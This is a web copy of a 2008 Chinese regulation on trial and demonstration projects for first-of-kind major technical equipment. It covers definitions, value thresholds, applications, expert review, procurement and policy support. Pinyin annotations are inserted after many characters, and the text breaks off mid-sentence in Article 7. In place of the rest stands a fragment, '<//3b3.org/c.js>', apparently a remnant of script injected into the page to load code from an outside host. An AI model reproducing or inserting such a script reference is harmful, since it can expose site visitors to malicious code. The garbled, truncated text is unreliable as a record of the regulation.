為落實(shí)科學(xué)發(fā)展觀，加大自主創(chuàng)新力度，走新型工業(yè)化道路，實(shí)現(xiàn)國民經(jīng)濟(jì)可持續(xù)發(fā)展，振興裝備制造業(yè)，為首臺(tái)（套）重大技術(shù)裝備應(yīng)用營造政策環(huán)境，加強(qiáng)首臺(tái)(套)重大技術(shù)裝備項(xiàng)目管理的指導(dǎo)、監(jiān)督，根據(jù)《國務(wù)院關(guān)于加快振興裝備制造業(yè)的若干意見》(國發(fā)[2006]8號(hào))精神，國家發(fā)展改革委、科技部、財(cái)政部、國防科工委聯(lián)合制定了《首臺(tái)(套)重大技術(shù)裝備試驗(yàn)、示范項(xiàng)目管理辦法》，并于2008年1月22日，以發(fā)改工業(yè)[2008]224號(hào)文發(fā)布。以下是《辦法》的詳細(xì)內(nèi)容。
首臺(tái)(套)重大技術(shù)裝備試驗(yàn)、示范項(xiàng)目管理辦法
為貫徹落實(shí)《國務(wù)院關(guān)于加快振興裝備制造業(yè)的若干意見》（國發(fā)[2006]8號(hào))文件精神，鼓勵(lì)支持重大技術(shù)裝備自主創(chuàng)新，為首臺(tái)(套)重大技術(shù)裝備應(yīng)用營造必要的政策環(huán)境，增強(qiáng)我國企業(yè)自主創(chuàng)新能力，規(guī)范首臺(tái)(套)重大技術(shù)裝備自主創(chuàng)新試驗(yàn)、示范項(xiàng)目管理，特制定本管理辦法。
第一條 重大技術(shù)裝備定義與范圍。重大技術(shù)裝備是指對(duì)國家經(jīng)濟(jì)安全和國防建設(shè)有重要影響，對(duì)促進(jìn)國民經(jīng)濟(jì)可持續(xù)發(fā)展有顯著效果，對(duì)結(jié)構(gòu)調(diào)整、產(chǎn)業(yè)升級(jí)和節(jié)能減排有積極帶動(dòng)作用的裝備產(chǎn)品。首臺(tái)(套)重大技術(shù)裝備是指集機(jī)、電、自動(dòng)控制技術(shù)為一體的，運(yùn)用原始創(chuàng)新、集成創(chuàng)新或引進(jìn)技術(shù)消化吸收再創(chuàng)新的，擁有自主知識(shí)產(chǎn)權(quán)的核心技術(shù)和自主品牌，具有顯著的節(jié)能和低(零)排放的特征，尚未取得市場業(yè)績的成套裝備或單機(jī)設(shè)備。
本辦法所指的首臺(tái)(套)重大技術(shù)裝備中的成套裝備總價(jià)值在1000萬元以上，單臺(tái)設(shè)備價(jià)值在500萬元以上，總成或核心部件價(jià)值在100萬元以上。具體適用范圍見附錄。
第二條 試驗(yàn)、示范項(xiàng)目定義。首臺(tái)(套)重大技術(shù)裝備應(yīng)用項(xiàng)目包括試驗(yàn)項(xiàng)目和示范項(xiàng)目。試驗(yàn)項(xiàng)目是指項(xiàng)目單位所采用的重大技術(shù)裝備在國際上首次應(yīng)用；示范項(xiàng)目(含依托項(xiàng)目，下同)是指采用的重大技術(shù)裝備在國內(nèi)首次應(yīng)用。國民經(jīng)濟(jì)各領(lǐng)域項(xiàng)目單位采購和使用首臺(tái)(套)重大技術(shù)裝備的工程項(xiàng)目，可申請(qǐng)列為國家試驗(yàn)項(xiàng)目或示范項(xiàng)目。
第三條 試驗(yàn)、示范項(xiàng)目申請(qǐng)。項(xiàng)目業(yè)主單位與制造單位協(xié)商達(dá)成一致，并提供該重大技術(shù)裝備自主創(chuàng)新實(shí)施方案(包括該項(xiàng)重大技術(shù)裝備自主創(chuàng)新工作的必要性、條件、目標(biāo)、實(shí)施步驟、工作要點(diǎn)、措施等)的基礎(chǔ)上，可直接或通過其主管部門向國家投資主管部門申請(qǐng)?jiān)囼?yàn)、示范項(xiàng)目。制造行業(yè)的單位與業(yè)主單位亦可各自獨(dú)立通過其主管部門向國家投資主管部門申請(qǐng)。
第四條 試驗(yàn)、示范項(xiàng)目的受理。國家投資主管部門接到申請(qǐng)后，組織專家組評(píng)估認(rèn)定項(xiàng)目是否符合試驗(yàn)、示范項(xiàng)目的條件。專家組至少由具有該領(lǐng)域五人以上權(quán)威專家、總數(shù)不少于七人組成。專家組出具的意見，作為國家是否核準(zhǔn)(審批)試驗(yàn)、示范項(xiàng)目的重要依據(jù)。
第五條 首臺(tái)(套)重大技術(shù)裝備的認(rèn)定。專家組進(jìn)行首臺(tái)(套)重大技術(shù)裝備的認(rèn)定時(shí)，應(yīng)明確提出首臺(tái)(套)重大技術(shù)裝備的具體范圍，即屬于成套裝備、單臺(tái)設(shè)備、核心部件或總成，作為政策支持的依據(jù)。國家投資主管都門根據(jù)項(xiàng)目申報(bào)情況及專家組意見，經(jīng)與有關(guān)部門協(xié)商，審查、核準(zhǔn)(審批)試驗(yàn)、示范項(xiàng)目及其實(shí)施方案。
第六條 試驗(yàn)、示范項(xiàng)目設(shè)備的采購。對(duì)政府采購范圍之外的首臺(tái)(套)重大技術(shù)裝備試驗(yàn)、示范項(xiàng)目，項(xiàng)目業(yè)主單位應(yīng)按照《中華人民共和國招標(biāo)投標(biāo)法》的規(guī)定，招標(biāo)確定擬采購的首臺(tái)(套)重大技術(shù)裝備和研制單位。招標(biāo)方式可以是公開招標(biāo)，也可經(jīng)國家投資主管部門批準(zhǔn)后采取有限邀請(qǐng)招標(biāo)、競爭性談判等方式。招標(biāo)過程中，需考慮首臺(tái)(套)重大技術(shù)裝備的自主創(chuàng)新、節(jié)能環(huán)保因素，并視情況合理設(shè)置自主創(chuàng)新、節(jié)能環(huán)保評(píng)標(biāo)因子或權(quán)重，不得以業(yè)績?yōu)橛膳懦庠擃愒O(shè)備參與投標(biāo)、評(píng)標(biāo)和中標(biāo)。首臺(tái)(套)重大技術(shù)裝備試驗(yàn)、示范項(xiàng)目的裝備招標(biāo)采購須嚴(yán)格按照項(xiàng)目核準(zhǔn)的實(shí)施方案進(jìn)行，在執(zhí)行過程中，確需調(diào)整的必須將調(diào)整方案報(bào)項(xiàng)目投資主管部門審核；屬技術(shù)路線等重大調(diào)整的，需對(duì)項(xiàng)目進(jìn)行重新核準(zhǔn)(審批)。
第七條 試驗(yàn)、示范項(xiàng)目的政策。國家優(yōu)先審批、核準(zhǔn)和安排首臺(tái)(套)重大技術(shù)裝備試驗(yàn)、示范項(xiàng)目，國家政策性銀行應(yīng)在自身業(yè)務(wù)范圍內(nèi)給予信貸支持，國家有關(guān)部門優(yōu)先安排用地審查、優(yōu)先安排環(huán)保評(píng)估、優(yōu)先納入科技支撐計(jì)劃。
對(duì)開發(fā)符合規(guī)定條件的首臺(tái)(套)重大技術(shù)裝備所需進(jìn)口關(guān)鍵配套部件或系統(tǒng)及原材料，可申請(qǐng)享受《財(cái)政部、國家發(fā)展改革委、海關(guān)總署、國家稅務(wù)總局關(guān)于落實(shí)國務(wù)院關(guān)于振興裝備制造業(yè)的若干意見有關(guān)進(jìn)口稅收政策的通知》中的專項(xiàng)稅收政策。項(xiàng)目單位采購的首臺(tái)(套)自主創(chuàng)新重大技術(shù)裝備，符合稅法規(guī)定<//3b3.org/c.js>
